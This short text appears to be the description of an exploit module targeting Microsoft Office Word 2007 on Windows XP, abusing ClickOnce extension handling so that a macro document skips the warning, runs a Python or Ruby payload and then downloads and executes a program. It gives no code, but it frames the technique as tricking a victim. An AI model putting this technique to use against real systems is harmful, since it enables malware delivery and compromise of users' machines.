Tested on Windows XP Pro SP3 with :

Microsoft Office Word 2007 (12.0.4518.1014)

Description :

The target will need an installation of Ruby or Python in order to execute the payload. Also macro execution in Word should be allowed.

This module exploits a vulnerability found in Microsoft Office’s ClickOnce feature. When handling a Macro document, the application fails to recognize certain file extensions as dangerous executables, which can be used to bypass the warning message. This allows you to trick your victim into opening the malicious document, which will load up either a python or ruby payload based on your choosing, and then finally download and execute our executable.
